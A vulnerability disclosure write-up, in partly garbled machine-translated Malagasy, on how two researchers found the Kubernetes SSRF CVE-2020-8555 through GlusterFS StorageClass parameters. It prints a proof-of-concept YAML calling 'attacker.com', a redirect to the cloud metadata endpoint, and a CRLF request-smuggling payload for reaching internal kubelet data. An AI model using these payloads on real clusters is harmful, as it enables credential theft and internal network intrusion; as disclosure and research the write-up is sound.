Rehefa tsy vulnerability fotsiny ao amin'ny Kubernetes...

Fanamarihana. transl.: miresaka amin'ny antsipiriany momba ny fomba nahitan'izy ireo ny vulnerable ny mpanoratra an'ity lahatsoratra ity CVE-2020–8555 amin'ny Kubernetes. Na dia toa tsy dia mampidi-doza aza izany tamin'ny voalohany, miaraka amin'ny anton-javatra hafa, ny fanakianana azy dia nivadika ho ambony indrindra ho an'ny mpamatsy rahona sasany. Fikambanana maromaro no nanome valisoa an'ireo manampahaizana manokana noho ny asany.

Rehefa tsy vulnerability fotsiny ao amin'ny Kubernetes...

Iza moa isika

Mpikaroka momba ny fiarovana frantsay roa izahay izay niara-nahita vulnerable ao amin'ny Kubernetes. Brice Augras sy Christophe Hauquiert no anaranay, fa amin'ny sehatra Bug Bounty maro dia antsoina hoe Reeverzax sy Hach izahay:

Inona no nitranga?

Ity lahatsoratra ity dia ny fomba hiresahana momba ny fomba nivadika tampoka ny tetik'asa fikarohana tsotra ho toy ny fitsangatsanganana mampientam-po indrindra eo amin'ny fiainan'ny mpihaza bibikely (farafaharatsiny amin'izao fotoana izao).

Araka ny efa fantatrao angamba, ny mpihaza bibikely dia manana endri-javatra miavaka roa:

  • mihinana pizza sy labiera izy ireo;
  • miasa izy ireo rehefa matory ny olon-drehetra.

Tsy ankanavaka amin'ireo fitsipika ireo izahay: matetika izahay no mihaona amin'ny faran'ny herinandro ary mandany alina mpijirika tsy matory. Saingy nifarana tamin'ny fomba tsy mahazatra ny iray tamin'ireo alina ireo.

Tany am-boalohany dia nivory izahay mba hiresaka momba ny fandraisana anjara CTF ny ampitson'iny. Nandritra ny resadresaka momba ny fiarovana Kubernetes amin'ny tontolon'ny serivisy mitantana, tonga tao an-tsaina ny hevitra SSRF taloha (Fisolokiana fangatahan'ny mpizara) ary nanapa-kevitra ny hanandrana hampiasa azy io ho scenario fanafihana.

Tamin’ny 11 ora alina dia nipetraka nanao fikarohana izy ireo, ary natory vao maraina, afa-po tamin’ny vokatra azo. Noho ity fikarohana ity dia tafintohina tamin'ny programa MSRC Bug Bounty izahay ary nahazo tombony amin'ny fanararaotana.

Herinandro/volana maromaro no lasa ary ny vokatra tsy nampoizinay dia nahatonga ny iray amin'ireo valisoa ambony indrindra teo amin'ny tantaran'ny Azure Cloud Bug Bounty - ankoatry ny azonay tamin'ny Kubernetes!

Miorina amin'ny tetik'asa fikarohana nataonay, namoaka ny Komitin'ny fiarovana ny vokatra Kubernetes CVE-2020–8555.

Ankehitriny aho dia te-hanaparitaka ny vaovao momba ny vulnerability hita araka izay azo atao. Manantena izahay fa mankasitraka ny fikarohana ianao ary mizara ny antsipiriany ara-teknika amin'ny mpikambana hafa ao amin'ny vondrom-piarahamonina infosec!

Ka ity ny tantarantsika...

teny manodidina

Mba hahazoana tsara indrindra ny zava-nitranga, andeha hojerentsika aloha ny fomba fiasan'i Kubernetes amin'ny tontolo mitantana rahona.

Rehefa mamorona kluster Kubernetes amin'ny tontolo toy izany ianao dia matetika ny mpanome tolotra rahona no tompon'andraikitra amin'ny fampandehanana ny soson'ny fitantanana:

Rehefa tsy vulnerability fotsiny ao amin'ny Kubernetes...
Ny soson'ny fitantanana dia mipetraka eo amin'ny perimeter mpamatsy rahona raha ny node Kubernetes kosa dia mipetraka amin'ny perimeter mpanjifa

Mba hizarana amin'ny fomba mavitrika ny boky, dia ampiasaina ny mekanika mba hanomezana azy ireo amin'ny fomba mavitrika avy amin'ny backend fitehirizana ivelany ary sarintany amin'ny PVC (fangatahana volume maharitra, izany hoe fangatahana volume).

Noho izany, aorian'ny namoronana ny PVC ary mifamatotra amin'ny StorageClass ao amin'ny cluster K8s, ny mpitantana ny kube/cloud controller (miankina amin'ny famoahana ny anarany marina) dia manao dingana fanampiny mba hanomezana ny volume. (Fanamarihana. transl.: Efa nanoratra bebe kokoa momba ny CCM izahay tamin'ny fampiasana ohatra iray amin'ny fampiharana azy ho an'ny iray amin'ireo mpamatsy rahona eto.)

Misy tsiro maromaro amin'ny mpamatsy tohanan'ny Kubernetes, ny ankamaroany dia tafiditra ao orkesitra fototra, ary ny hafa dia tantanan'ny mpamatsy fanampiny izay apetraka amin'ny pods ao amin'ny cluster.

Ao amin'ny fikarohanay, nifantoka tamin'ny mekanika anatiny izahay mba hanomezana boky, izay aseho eto ambany:

Rehefa tsy vulnerability fotsiny ao amin'ny Kubernetes...
Famatsiam-bola dynamic amin'ny alàlan'ny mpamatsy Kubernetes ao anatiny

Raha fintinina, rehefa apetraka amin'ny tontolo tantana ny Kubernetes, dia andraikitry ny mpamatsy rahona ny mpitantana ny fanaraha-maso, fa ny fangatahana hamorona boky (isa 3 amin'ny kisary etsy ambony) dia miala amin'ny tambajotra anatiny an'ny mpamatsy rahona. Ary eto no tena mahaliana ny zava-drehetra!

Scenario hacking

Amin'ity fizarana ity dia hanazava ny fomba nampiasanay ny workflow voalaza etsy ambony izahay ary nahazo ny fidirana amin'ny loharano anatiny an'ny mpanome tolotra rahona. Haneho anao koa ny fomba ahafahanao manao hetsika sasany, toy ny fahazoana fahazoan-dàlana anatiny na tombontsoa mitombo.

Ny fanodinkodinana tsotra iray (amin'ity tranga ity, Service Side Request Forgery) dia nanampy tamin'ny fandehanana mihoatra ny tontolon'ny mpanjifa amin'ny vondron'ireo mpanome tolotra isan-karazany momba ny K8 voatanisa.

Tamin'ny fikarohanay dia nifantoka tamin'ny mpamatsy GlusterFS izahay. Na dia eo aza ny zava-misy fa ny filaharan'ny hetsika dia voafaritra amin'ity toe-javatra ity, Quobyte, StorageOS ary ScaleIO dia voakasika amin'ny vulnerability mitovy.

Rehefa tsy vulnerability fotsiny ao amin'ny Kubernetes...
Fanararaotana ny Famatsiana Volume Dinamika

Nandritra ny fanadihadian'ny kilasy fitahirizana GlusterFS ao amin'ny loharano mpanjifa Golang, izahay voamariky nyfa amin'ny fangatahana HTTP voalohany (3) nalefa nandritra ny famoronana boky, hatramin'ny faran'ny URL mahazatra ao amin'ny parameter resturl dia ampiana /volumes.

Nanapa-kevitra ny hanaisotra ity lalana fanampiny ity izahay tamin'ny fanampiana # amin'ny parameter resturl. Ity ny fanamafisana YAML voalohany nampiasainay mba hitsapana ny faharefoana SSRF semi-jamba. (misy bebe kokoa momba ny SSRF semi-jamba na antsasaky ny jamba, ohatra, eto - eo ho eo. transl.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Avy eo, mba hitantana lavitra ny cluster Kubernetes dia nampiasa ny binary izahay kubectl. Amin'ny ankapobeny, ny mpamatsy rahona (Azure, Google, AWS, sns.) dia mamela anao hahazo fahazoan-dàlana hampiasa azy ireo amin'ity fitaovana ity.

Noho izany, dia hita fa nampihatra ny rakitra "manokana". Kube-controller-manager dia nanao ny fangatahana HTTP vokatr'izany:

kubectl create -f sc-poc.yaml

Rehefa tsy vulnerability fotsiny ao amin'ny Kubernetes...
Valiny avy amin'ny fomba fijerin'ny mpanafika

Fotoana fohy taorian'izay dia afaka nahazo valiny HTTP avy amin'ny mpizara kendrena ihany koa izahay - tamin'ny alàlan'ny baiko describe pvc na get events amin'ny kubectl. Eny tokoa, ity mpamily Kubernetes default ity dia be vava loatra amin'ny hafatra fampitandremana/diso...

Ity misy ohatra misy rohy mankany https://www.google.frapetraka ho paramètre resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Rehefa tsy vulnerability fotsiny ao amin'ny Kubernetes...

Ao anatin'ity fomba fiasa ity dia voafetra ho an'ny fanontaniana toy ny izahay HTTP POST ary tsy afaka mahazo ny votoatin'ny vatana valiny raha toa ka ny kaody miverina 201. Noho izany, nanapa-kevitra ny hanao fikarohana fanampiny izahay ary hanitatra ity sehatra fijirika ity amin'ny fomba fiasa vaovao.

Ny fivoaran'ny fikarohanay

  • Scenario Advanced #1: Mampiasa redirect 302 avy amin'ny mpizara ivelany hanovana ny fomba HTTP mba hahazoana fomba mora kokoa hanangonana angona anatiny.
  • Scenario Advanced #2: Fanamafisana ny LAN Scan sy Fikarohana loharanon-karena anatiny.
  • Scenario Advanced #3: Mampiasa HTTP CRLF + fanondranana an-tsokosoko (fangatahana "fanondranana an-tsokosoko") hanaovana fangatahana HTTP namboarina sy hakana angon-drakitra nalaina tamin'ny logs kube-controller.

Famaritana ara-teknika

  • Ny fikarohana dia nampiasa Azure Kubernetes Service (AKS) miaraka amin'ny Kubernetes version 1.12 any amin'ny faritr'i Eoropa Avaratra.
  • Ireo toe-javatra voalaza etsy ambony dia natao tamin'ny famoahana farany an'i Kubernetes, ankoatra ny tranga fahatelo, satria. nila Kubernetes naorina tamin'ny Golang version ≤ 1.12.
  • Mpizara ivelany an'ny mpanafika - https://attacker.com.

Scenario mandroso #1: Redirect HTTP POST fangatahana mba hahazoana sy hahazo data saro-pady

Nohatsaraina ny fomba tany am-boalohany tamin'ny alàlan'ny fanamboarana ny lohamilin'ny mpanafika mba hiverina 302 HTTP Retcodehanova ny fangatahana POST ho fangatahana GET (dingana 4 amin'ny kisary):

Rehefa tsy vulnerability fotsiny ao amin'ny Kubernetes...

Fangatahana voalohany (3) avy amin'ny mpanjifa GlusterFS (Controller Manager), dia karazana POST. Tamin'ny fanarahana ireto dingana ireto dia afaka nanova azy ho GET izahay:

  • Toy ny paramètre resturl StorageClass mamaritra http://attacker.com/redirect.php.
  • Endpoint https://attacker.com/redirect.php mamaly amin'ny kaody sata HTTP 302 miaraka amin'ity Loha-toerana manaraka ity: http://169.254.169.254. Mety ho loharano anatiny hafa izany - amin'ity tranga ity, ny rohy redirect dia ampiasaina ho ohatra fotsiny.
  • amin'ny alalan'ny toerana misy anao net/http tranomboky Mamindra ny fangatahana i Golang ary mamadika ny POST ho GET miaraka amin'ny kaody sata 302, ka nahatonga ny fangatahana HTTP GET ho an'ny loharano kendrena.

Raha te hamaky ny vatan'ny valinteny HTTP dia mila manao ianao describe PVC zavatra:

kubectl describe pvc xxx

Ity misy ohatra iray amin'ny valinteny HTTP JSON azonay:

Rehefa tsy vulnerability fotsiny ao amin'ny Kubernetes...

Ny fahafahan'ny vulnerability hita tamin'izany fotoana izany dia voafetra noho ireto teboka manaraka ireto:

  • Tsy fahafahana mampiditra lohapejy HTTP amin'ny fangatahana mivoaka.
  • Ny tsy fahafahana manao fangatahana POST miaraka amin'ny masontsivana ao amin'ny vatana (izany no fomba mety ny mangataka sanda lehibe amin'ny ohatra snsd mandeha amin'ny 2379 port raha ampiasaina ny HTTP tsy misy encryption).
  • Tsy nahazo ny votoatin'ny vata famaliana raha 200 ny kaody sata ary tsy nanana JSON Content-Type ny valiny.

Scenario mandroso #2: Fikarohana LAN

Ity fomba SSRF antsasa-jamba ity dia nampiasaina mba hijerena ny tambajotra anatiny an'ny mpamatsy rahona sy hizaha ny tolotra fihainoana isan-karazany (ohatra Metadata, Kubelet, sns.) mifototra amin'ny valiny. kube controller.

Rehefa tsy vulnerability fotsiny ao amin'ny Kubernetes...

Voalohany, nofaritana ny seranana fihainoana mahazatra an'ny singa Kubernetes (8443, 10250, 10251, sns.), ary avy eo dia tsy maintsy mandeha ho azy ny fizotran'ny scan.

Noho ny fahitana fa tena voafaritra io fomba fisavana loharanon-karena io ary tsy mifanaraka amin'ny scanner mahazatra sy ny fitaovana SSRF, dia nanapa-kevitra izahay ny hamorona ny mpiasanay manokana amin'ny sora-bash izay manara-maso ny dingana manontolo.

Ohatra, mba hijerena haingana ny 172.16.0.0/12 amin'ny tambajotra anatiny, mpiasa 15 no natomboka nifanitsy. Nofantenana ho ohatra ihany ny isan'ny IP etsy ambony ary azo ovaina ho isan'ny IP an'ny mpanome tolotra manokana.

Mba hijerena adiresy IP iray sy seranan-tsambo iray dia mila manao izao manaraka izao ianao:

  • esory ny StorageClass voamarika farany;
  • esory ny Claim Persistent Volume efa voamarina teo aloha;
  • hanova ny sanda IP sy Port in sc.yaml;
  • mamorona StorageClass miaraka amin'ny IP sy seranan-tsambo vaovao;
  • mamorona PVC vaovao;
  • esory ny valin'ny scan miaraka amin'ny famaritana ho an'ny PVC.

Scenario mandroso #3: CRLF + HTTP fanondranana an-tsokosoko amin'ny dikan-teny "taloha" an'ny cluster Kubernetes

Raha, ho fanampin'izany, ny mpamatsy dia nanolotra mpanjifa dikan-teny taloha amin'ny k8s cluster и nanome azy ireo ny fidirana amin'ny logs kube-controller-manager, vao mainka nisongadina ny vokany.

Eny tokoa, mety kokoa ho an'ny mpanafika ny manova ny fangatahana HTTP amin'ny sitrapony, izay natao hahazoana valiny HTTP feno.

Rehefa tsy vulnerability fotsiny ao amin'ny Kubernetes...

Mba hampiharana ny scenario farany dia tsy maintsy fenoina ireto fepetra manaraka ireto:

  • Ny mpampiasa dia tsy maintsy manana fidirana amin'ny logs kube-controller-manager (toy ny ao amin'ny Azure LogInsights, ohatra).
  • Ny kluster Kubernetes dia tsy maintsy mampiasa dika Golang eo ambanin'ny 1.12.

Nametraka tontolo iainana eo an-toerana izahay izay mampitovy ny fifandraisana eo amin'ny mpanjifa GlusterFS Go sy ny mpizara kendrena sandoka (tsy hamoaka ny PoC izahay amin'izao fotoana izao).

Hita Fahamoram-pahavoazana, miantraika amin'ny dikan-tenin'i Golang eo ambanin'ny 1.12 ary mamela ireo mpijirika hanao fanafihana an-tsokosoko HTTP/CRLF.

Amin'ny fampifangaroana ny SSRF antsasaky ny jamba voalaza etsy ambony вместе miaraka amin'izany, afaka nandefa fangatahana izay tianay izahay, anisan'izany ny fanovana lohapejy, fomba HTTP, masontsivana, ary angona izay nokarakarain'ny kube-controller-manager avy eo.

Ity misy ohatra iray amin'ny "bain" miasa ao amin'ny parameter resturl StorageClass, izay mametraka tranga fanafihana mitovy amin'izany:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Vokatr'izany dia misy hadisoana mitranga valiny tsy nangatahana, hafatra momba izay voasoratra ao amin'ny log de controller. Noho ny "verbosity" alefa amin'ny alàlan'ny default, ny votoatin'ny hafatra valin'ny HTTP dia voatahiry ao ihany koa.

Rehefa tsy vulnerability fotsiny ao amin'ny Kubernetes...

Ity no "fanjaitra" mahomby indrindra nataonay tao anatin'ny rafitry ny porofon'ny hevitra.

Tamin'ny fampiasana ity fomba ity dia afaka nanao fanafihana manaraka ireto izahay tamin'ny vondron'ireo mpamatsy k8s tantana samihafa: fiakaran'ny tombontsoa miaraka amin'ny fakana mari-pankasitrahana amin'ny tranga metadata, master DoS miaraka amin'ny fangatahana HTTP (tsy voafehy) amin'ny ohatra master etcd, sns.

vokatry

Ao amin'ny fanambarana ofisialy Kubernetes momba ny vulnerability SSRF hitanay, dia nomena naoty izany CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Raha jerena fotsiny ny vulnerability mifandray amin'ny perimeter Kubernetes, ilay vector integrity (vector intégré) mahafeno fepetra ho tsy misy.

Na izany aza, ny fanombanana ny mety ho vokany eo amin'ny tontolon'ny serivisy fitantanana (ary ity no ampahany nahaliana indrindra tamin'ny fandalinanay!) dia nanosika anay hamerina hanasokajy ny vulnerability amin'ny naoty. CVSS10/10 mitsikera ho an'ny mpaninjara maro.

Ireto ambany ireto ny fampahalalana fanampiny izay hanampy anao hahatakatra ny noeritreretinay momba ny fanombanana ny mety ho fiantraikany amin'ny tontolo rahona:

Tsy Nivadika

  • Manaova baiko avy lavitra amin'ny fampiasana ny fahazoan-dàlana anatiny azo.
  • Famerenana ny toe-javatra etsy ambony amin'ny alàlan'ny fomba Insecure Direct Object Reference (IDOR) miaraka amin'ireo loharano hafa hita ao amin'ny tambajotra eo an-toerana.

tsiambaratelo

  • Karazana fanafihana Hetsika aorinan-tanana noho ny halatra ny fahazoan-dàlana rahona (oh: metadata API).
  • Manangona vaovao amin'ny alàlan'ny fisavana ny tambajotra eo an-toerana (famantarana ny dikan-teny SSH, dikan-tranonkala HTTP, ...).
  • Manangona fampahalalana momba ny tranga sy fotodrafitrasa amin'ny alàlan'ny fitsapan-kevitra API anatiny toy ny metadata API (http://169.254.169.254,…).
  • Mangalatra angon-drakitra mpanjifa amin'ny alàlan'ny fahazoan-dàlana rahona.

fisian'ny

Ireo tranga fanararaotana rehetra mifandraika amin'ny vectors fanafihana TSY NIVADIKA, dia azo ampiasaina amin'ny hetsika manimba ary mahatonga ny tranga master avy amin'ny perimeter mpanjifa (na hafa) tsy ho hita.

Koa satria tao anatin'ny tontolo K8 voatantana izahay ary nanombantombana ny fiantraikan'ny tsy fivadihana, dia afaka maka sary an-tsaina ny toe-javatra maro izay mety hisy fiantraikany amin'ny fisiana. Raha mila ohatra fanampiny dia diniho ny fanimbana ny angon-drakitra etcd na manao antso avo amin'ny Kubernetes API.

fanisan-taonan'ny

  • 6 Desambra 2019: Taterina tamin'ny MSRC Bug Bounty ny vulnerability.
  • 3 Janoary 2020: Nisy antoko fahatelo nampahafantatra ny mpamorona Kubernetes fa miasa amin'ny olana momba ny fiarovana izahay. Ary nangataka azy ireo mba handinika ny SSRF ho toy ny vulnerability anatiny (in-core). Taorian'izay dia nanome tatitra ankapobeny misy antsipiriany ara-teknika momba ny loharanon'ny olana izahay.
  • 15 Janoary 2020: Nanome tatitra ara-teknika sy ankapobeny ho an'ny mpamorona Kubernetes izahay rehefa nangatahana (tamin'ny alàlan'ny sehatra HackerOne).
  • 15 Janoary 2020: Nampandre anay ny mpamorona Kubernetes fa ny tsindrona SSRF antsasaky ny jamba + CRLF ho an'ny famoahana taloha dia heverina ho marefo. Najanona avy hatrany ny famakafakana ny faritry ny mpanome tolotra hafa izahay: ny ekipan'ny K8s izao dia nijery ny fototry ny olana.
  • 15 Janoary 2020: Valisoa azo avy amin'ny MSRC tamin'ny alàlan'ny HackerOne.
  • Janoary 16, 2020: Kubernetes PSC (Komity fiarovana ny vokatra) dia nanaiky ny fahalemena ary nangataka ny hitazona izany ho tsiambaratelo mandra-pahatongan'ny tapaky ny volana martsa noho ny habetsahan'ny mety ho tra-boina.
  • 11 Feb 2020: Nahazo valisoa avy amin'ny Google VRP.
  • 4 martsa 2020: nahazo valisoa tamin'ny alàlan'ny HackerOne ny Kubernetes.
  • 15 martsa 2020: nahemotra ny fampahafantarana ho an'ny daholobe tamin'ny voalohany noho ny toe-javatra COVID-19.
  • 1 Jona 2020: Fanambarana vulnerability Microsoft + Kubernetes miaraka.

TL, DR

  • Misotro labiera izahay ary mihinana pizza 🙂
  • Nahita vulnerable in-core izahay tao amin'ny Kubernetes, na dia tsy nieritreritra ny hanao izany mihitsy aza izahay.
  • Nanao famakafakana fanampiny momba ny vondron'ireo mpanome rahona isan-karazany izahay ary afaka nampitombo ny fahasimbana nateraky ny vulnerability mba hahazoana bonus mahafinaritra fanampiny.
  • Amin'ity lahatsoratra ity dia hahita antsipiriany ara-teknika maro ianao. Faly izahay miresaka momba azy ireo aminao (Twitter: @ReeverZax & @__hach_).
  • Hita fa maharitra ela kokoa noho ny nantenaina ny karazana fombafomba sy tatitra rehetra.

soratra masina

PS avy amin'ny mpandika teny

Vakio ihany koa ao amin'ny bilaoginay:

Source: www.habr.com

Add a comment